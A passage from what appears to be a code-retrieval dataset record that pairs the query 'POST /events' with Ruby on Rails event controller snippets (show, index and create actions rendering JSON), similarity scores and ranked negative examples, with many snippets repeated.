render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n @event_event = Event::Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event_event }\n end\n end", "def index\n event = Event.find(params[:event_id])\n render json: event.route, status: :ok\n end", "def index\n @events = Event.all\n\n render json: @events\n end", "def show\n render json: @event, status: :ok\n end", "def index\n @events = Event.all\n respond_to do |format|\n format.html \n format.json do\n render :json => {events: @events}\n end\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.json { render json: @events }\n end\n end", "def show\n @event = Event.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event } \n end\n end", "def show\n @event = Event.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end", "def show\n @event = Event.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end", "def show\n render json: @event\n end", "def show\n render json: @event\n end", "def show\n render json: @event\n end", "def show\n render json: @event\n end", "def show\n render json: @event\n end", "def index\n @events = Event.all\n respond_to do |format|\n format.html \n format.json \n end\n end", "def show\n render json: EventSerializer.new(@event).as_json, status: 200\n end", "def event(event, options = {})\n get \"events/#{event}\", options\n end", "def index\n response = { events: Event.all }\n respond_to do |format|\n format.json { render json: response.to_json }\n format.html { render :index }\n end\n end", "def index\n render json: Event.all, status: :ok\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def index\n @events = current_user.events\n\n render json: @events\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def event(id, options = {})\n get \"events/#{id}\", options\n end", "def index\n @events = Event.all\n @event = Event.new\n\n respond_to do |format|\n format.html\n format.json { render 'events/index', events: @events }\n end\n end", "def show\n @event = Event.find(params[:id])\n @client = Client.find(@event.client_id)\n @event_type = EventType.find(@event.event_type_id)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @events }\n end\n end", "def get_event ( event_key )\n get_api_resource \"#{@@api_base_url}event/#{event_key}\"\n end", "def get_events(args)\n\tapi_url = \"#{@base_url}/#{args[:collection]}/#{args[:key]}/events/#{args[:event_type]}\"\n\tdo_the_get_call( url: api_url, user: @user )\nend", "def index\n @event = Event.find(params[:event_id])\n\n end", "def index\n @upcoming_events = Event.upcoming\n @past_events = Event.past\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def show\n \trender json: @event\n end", "def index\n @events = current_user.events\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def index\n @events = getUpcomingEvents()\n \n @page_title = \"Events\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end", "def show\n render json: format_event(@event)\n end", "def index\n respond_with(@events)\n end", "def show\n @current_event = CurrentEvent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @current_event }\n end\n end", "def get_events\n if @user.uuid.present?\n @events = @user.events.active_events.page(params[:page])\n paginate json: @events, per_page: params[:per_page]\n elsif @user.uuid == \"guest\"\n @events = Com::Nbos::Events::Event.active_events.where(tenant_id: @user.tenant_id)\n render json: @events\n else\n render :json => {messageCode: \"bad.request\", message: \"Bad Request\"}, status: 400\n end\n end", "def show\n begin\n @event = Event.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n logger.error \"Attempt to show invalid event #{params[:id]}\"\n redirect_to events_path, notice: 'Invalid event ID'\n else\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end\n end", "def index\n @events = @category.events\n render json: @events \n end", "def index\n\t\t@events = Event.all.order('created_at desc')\n\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json { render :json => @events }\n\t\tend\n\tend", "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @event, methods: [:talks] }\n end\n end", "def get_events\n response = request(:get, \"/devmgr/v2/events\")\n #status(response, 200, 'Failed to get current events from server')\n #JSON.parse(response.body)\n response\n end", "def index\n if params[:user]\n @events = Event.where(user: params[:user]).first\n else\n @events = Event.all.order('created_at asc')\n end\n\n render json: @events, :only => [:id, :date, :user, :event_type, :message, :otheruser]\n end", "def get_event(session, options={})\n json_request \"get\", {:session => session}, options\n end", "def index\n \n @events = current_user.events\n \n \n respond_to do |format|\n format.html {}\n format.json { render json: Event.events_to_json(@events) }\n end\n end", "def show\n @calendar = Calendar.find(params[:id])\n @events = Event.find(@calendar.event_ids)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @calendar }\n end\n end" ]
[ "0.75022924", "0.74003553", "0.7360236", "0.73483384", "0.734628", "0.7336635", "0.73162717", "0.7286345", "0.7280093", "0.72448486", "0.722994", "0.7218412", "0.7218412", "0.721763", "0.721763", "0.72140783", "0.7203632", "0.7198198", "0.71961105", "0.7191874", "0.7191539", "0.7191539", "0.7191539", "0.7191539", "0.7191539", "0.7191539", "0.7191539", "0.7191539", "0.7191539", "0.7191539", "0.7191539", "0.7191539", "0.7191539", "0.7191539", "0.7191539", "0.7191539", "0.7191539", "0.7191539", "0.7191539", "0.7191539", "0.7191539", "0.7191539", "0.7191539", "0.7191539", "0.7189425", "0.7189013", "0.7184017", "0.7183158", "0.718145", "0.71768117", "0.7164014", "0.71630543", "0.71582675", "0.7157298", "0.71194905", "0.71194905", "0.71194905", "0.71194905", "0.71194905", "0.7103394", "0.7097978", "0.7085923", "0.7073736", "0.707076", "0.7068357", "0.7068357", "0.70653474", "0.70593154", "0.70593154", "0.70593154", "0.70593154", "0.70593154", "0.70593154", "0.70593154", "0.70593154", "0.70593154", "0.70593154", "0.70495737", "0.70417565", "0.70380235", "0.70317364", "0.7026767", "0.7025042", "0.7018307", "0.6992369", "0.6983668", "0.69716734", "0.6966988", "0.69488955", "0.6948659", "0.69430053", "0.69286466", "0.69253206", "0.69211066", "0.6917694", "0.69121385", "0.689186", "0.6889872", "0.6876414", "0.6852297", "0.6850897" ]
0.0
-1
POST /events POST /events.json
def create @event = Event.new(event_params.merge(user_id: current_user.id)) respond_to do |format| if @event.save format.html { redirect_to @event, notice: 'Event was successfully created.' } format.json { render :show, status: :created, location: @event } else format.html { render :new } format.json { render json: @event.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_event event, data={}\n data[:event] = event\n post '/event', data\n end", "def create\n event = Event.new(event_params)\n event.save!\n render json: event\n end", "def create\n Rails.logger.debug(\"Received event #{params[:event]}\")\n head :ok\n end", "def create\n @event = Event.new(params[:event])\n\n if @event.save\n render json: @event, status: :created, location: @event\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def create\n megam_rest.post_event(to_hash)\n end", "def create\n @event = Event.new(event_params)\n\n if @event.save\n \tdata = { data: @event, status: :created, message: \"Event was successfully created.\" }\n render :json => data\n else\n \tdata = { data: @event.errors, status: :unprocessable_entity }\n render :json => data\n end\n end", "def create\n @event = Event.new(event_params)\n if @event.save\n head :created\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def create\n puts params[:event]\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to events_path, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n \n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, :notice => 'Event was successfully created.' }\n format.json { render :json => @event, :status => :created, :location => @event }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.json { render :show, status: :created, location: @event }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.json { render :show, status: :created, location: @event }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user = User.find_by_authentication_token(params[:auth_token])\n @event = Event.new.from_json(params[:event])\n @event.user_id = @user.id\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n @event.organizer = current_user\n\n if @event.save\n render json: @event, status: :created, location: @event\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def save\n event = params\n # This assumes that all keys exists. Yay no error handling...\n toSave = Event.new(update_type: event[:event],\n start_time: event[:payload][:event][:start_time_pretty],\n end_time: event[:payload][:event][:end_time_pretty],\n location: event[:payload][:event][:location],\n invitee_name: event[:payload][:invitee][:name],\n duration: event[:payload][:event_type][:duration],\n event_kind: event[:payload][:event_type][:kind])\n toSave.save\n render json: {}, status: 200\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, :notice => 'Event was successfully created.' }\n format.json { render :json => @event, :status => :created, :location => @event }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: t(:event_created) }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n params['user_id'] = current_user.id if current_user\n @event = Event.new(event_params)\n\n if @event.save\n render json: { location: format_event(@event) }, status: :created\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to \"/#{@event.url}\" }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def push_events\n saved = []\n jsonHash = request.POST[:_json];\n jsonHash.each do |jsonEvent|\n event = Event.new\n event.race_id = jsonEvent[\"raceId\"]\n event.walker_id = jsonEvent[\"walkerId\"]\n event.eventId = jsonEvent[\"eventId\"]\n event.eventType = jsonEvent[\"type\"]\n event.eventData = jsonEvent[\"data\"]\n event.batteryLevel = jsonEvent[\"batL\"]\n event.batteryState = jsonEvent[\"batS\"]\n event.timestamp = Time.zone.parse(jsonEvent[\"time\"])\n if event.save # if new\n saved << jsonEvent[\"eventId\"]\n if event.race_id != 0 # if not unknown race_id\n after_create(event)\n end\n else # if exists\n saved << jsonEvent[\"eventId\"]\n puts \"Not Saved!\" # debug print\n puts jsonEvent # debug print \n end\n end\n render :json => {:savedEventIds => saved}\n end", "def create\n result = Event::CreateEvent.perform(event_context)\n\n respond_to do |format|\n if result.success?\n @event = result.event\n format.json { render action: 'show', status: :created }\n else\n format.json { render json: { :errors => result.errors.full_messages }, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n if @event.save\n render :show, status: :created, location: @event\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def create\n @event = Events::Event.new(event_params)\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to events_path, notice: \"Event #{@event} was successfully created.\" }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to events_path, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: events_path(@event) }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, event: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n params[:event] = convert_datetimes( params[:event] )\n @event = @current_account.events.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # render json: params[:event]\n temp_event = Event.create(\n name: params[:event][:name],\n location: params[:event][:location],\n date: params[:event][:date],\n time: params[:event][:time],\n budget: params[:event][:budget],\n user: current_user\n )\n redirect_to \"/items?event=#{temp_event.id}\"\n end", "def create\n \n @event = Event.new(event_params)\n \n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: \"Event was successfully created.\" }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event_event = Event::Event.new(params[:event_event])\n\n respond_to do |format|\n if @event_event.save\n format.html { redirect_to @event_event, notice: 'Event was successfully created.' }\n format.json { render json: @event_event, status: :created, location: @event_event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event_event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to events_path, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to dashboard_home_path }\n format.json { render 'event', status: :created, event: @event }\n else\n format.html { render dashboard_home_path }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n logger.debug @event.errors.inspect\n format.html { redirect_to @event, notice: 'データが新規作成されました。' }\n format.json { render :show, status: :created, location: @event }\n else\n logger.debug @event.errors.to_hash(true)\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to new_event_path, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: 